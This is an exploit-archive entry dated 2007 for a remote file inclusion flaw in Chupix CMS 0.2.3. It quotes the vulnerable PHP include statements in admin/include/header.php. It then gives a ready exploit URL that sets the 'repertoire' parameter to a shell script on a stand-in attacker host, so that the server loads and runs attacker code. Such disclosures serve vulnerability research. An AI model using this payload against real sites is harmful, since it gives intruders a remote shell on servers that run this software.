[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Chupix CMS 0.2.3 (repertoire) Remote File Inclusion Vulnerability
# Published : 2007-09-27
# Author : 0in
# Previous Title : lustig.cms BETA 2.5 (forum.php view) Remote File Inclusion Vulnerability
# Next Title : IntegraMOD Nederland 1.4.2 Remote File Inclusion Vulnerability
#chupix 0.2.3 /admin/include/header.php RFI
#f0und by 0in
#contact: 0in.email@gmail.com
#Greetings to:Die-angel,Slim,Joker186,Kaja,Artysta,wojto111,reydex
#team:Our Dark-Coders team;]
--------------------------------------------------------------------------------------------------------------------
#register_globals=On
BUG:
include($repertoire .'db/config/config.php'); // lecture de la configuration souhait??e par l'utilisateur
include($repertoire .'include/template.php'); // classe de cr??ation des templates
include($repertoire .'include/MyTxt.php'); // inclusion de la classe MyTxt
$path_lang = $repertoire ."langues/". $conf__lang ."/admin.php";
include($path_lang); // Chargement du fichier de langues
EXPLOIT:
http://x.com/[patch]/admin/include/header.php?repertoire=http://evil.org/shell.txt ?
--------------------------------------------------------------------------------------------------------------------
# www.Syue.com [2007-09-27]